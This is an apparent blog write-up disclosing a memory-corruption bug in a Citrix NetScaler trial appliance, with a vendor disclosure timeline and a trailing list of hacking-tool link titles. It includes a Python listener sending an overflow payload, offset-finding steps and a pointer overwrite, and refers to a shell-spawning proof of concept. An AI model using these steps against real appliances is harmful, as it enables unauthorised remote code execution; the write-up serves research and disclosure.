Scaling The NetScaler

A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:

http://www.citrix.com/products/netscaler-application-delivery-controller/try.html

Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):

/etc/httpd 

# SOAP handler
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>

It wasn't clear what this end point was used for and it wasn't friendly if you hit it directly:

So I grep'd through the application code looking for any calls to this service and got a hit:

root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");

Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn't neutered with the hardcoded "$use_api = true;"

/netscaler/ns_gui/admin_ui/php/application/models/common/xmlapi_model.php

protected function command_execution($command, $parameters, $use_api = true) {
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
{
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$this->benchmark->mark("ns_exe_start");
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
"ns_exe_end");
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
} 

For giggles I set it to false and gave it a whirl, worked as expected :(

The other side of this "if" statement was a reference to making a soap call and due to the reference to the local "/soap" and the fact all roads from "do_login" were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:

root@ns# tcpdump -Ani lo0 -s0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP 127.0.0.1.49731 > 127.0.0.1.80: P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
E...>D@.@............C.P'R...2.............
..R...R.POST /soap HTTP/1.0
Host: 127.0.0.1
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string">192.168.166.1</clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string">192.168.166.138</ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP 127.0.0.1.80 > 127.0.0.1.49731: P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
E...>[@.@............P.C.2..'R.o.....\.....
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=127.0.0.1;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn't really make sense to me. I went ahead and changed the address to another VM and noticed something strange:

According to tcpdump it was trying to connect to my provided host on port 3010:

root@ns# tcpdump -A host 192.168.166.137 and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP 192.168.166.138.49392 > 192.168.166.137.3010: S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>

I fired up netcat to see what it was sending, but it was just "junk", so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn't really clear exactly what the data was as it was some sort of "binary" stream:

I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch "A" into the stream:

import socket,sys
resp = "\x00\x01\x00\x00\xa5\xa5"+ ("A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
continue
try:
s.bind(sa)
s.listen(1)
except socket.error as msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
break
print 'sending!' conn.send(resp)
print 'sent!' conn.close()

Which provided the following awesome log entry in the Netscaler VM window:

Loading the dump up in gdb we get the following (promising looking):

And the current instruction it is trying to call:

An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit "pattern_create" works great for this ("root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000"). After replacing the "A" *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:

Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP 

resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

When we run everything again and take a look at our core dump you can see we have progressed in execution and have hit another snag that causes a crash:

The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to "pattern_offset" and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:

If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )

And of course, the money shot:

A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)

It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:

6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure

Related posts

1. Hacker Tools Linux
2. Hacking Tools For Beginners
3. Free Pentest Tools For Windows
4. Tools Used For Hacking
5. Hack Tools Mac
6. Hacking Tools For Windows
7. Hacker Search Tools
8. Nsa Hacker Tools
9. Hacker Tools Github
10. Hacker Tools
11. Hacker Tools For Pc
12. Hacker Tools
13. Wifi Hacker Tools For Windows
14. Hacker Tools For Windows
15. Hack Tools For Mac
16. Hacker Tools For Windows
17. Pentest Tools Review
18. Free Pentest Tools For Windows
19. Hacker
20. Pentest Tools Find Subdomains
21. Hacking Tools Online
22. Hack Tools
23. Top Pentest Tools
24. Hacker Tools Linux
25. Hacking Tools Online
26. Hacking Tools For Windows Free Download
27. Hack Tools 2019
28. Pentest Tools Subdomain
29. Hacker Tools For Pc
30. Hacker Techniques Tools And Incident Handling
31. Hacking Tools Kit
32. Pentest Tools Linux
33. Hacking App
34. Hacker Search Tools
35. Pentest Tools Online
36. Hack And Tools
37. Hacker Security Tools
38. Pentest Automation Tools
39. Bluetooth Hacking Tools Kali
40. Pentest Tools Linux
41. Pentest Tools Subdomain
42. Best Hacking Tools 2019
43. Hacker Techniques Tools And Incident Handling
44. Hacker Tools Hardware
45. Hack Website Online Tool
46. Github Hacking Tools
47. Pentest Tools Website
48. Hacking Tools 2019
49. Hacker Security Tools
50. Hacker Tool Kit
51. New Hack Tools
52. Hacker Tools For Pc
53. Hack App
54. Hacker Tools For Pc
55. Pentest Tools Tcp Port Scanner
56. Hack Tool Apk
57. Hack Rom Tools
58. Pentest Tools Open Source
59. Hacking Tools For Mac
60. Pentest Tools Subdomain
61. Hack Tools For Mac
62. Hacker Tools For Ios
63. Hack Tools
64. Pentest Reporting Tools
65. Pentest Tools Github
66. Hacking Tools 2019
67. Ethical Hacker Tools
68. Tools For Hacker
69. Pentest Tools Url Fuzzer
70. Hacker Tools Linux
71. Hacking Tools For Kali Linux
72. Hack Tools 2019
73. Hacker
74. Pentest Tools Website
75. Hackers Toolbox
76. Hacking Tools 2020
77. Android Hack Tools Github
78. Hacking Tools Github
79. Easy Hack Tools
80. Game Hacking
81. Hack Tools Online
82. Hackers Toolbox
83. Hacking Tools And Software
84. Underground Hacker Sites
85. What Is Hacking Tools
86. Pentest Tools Nmap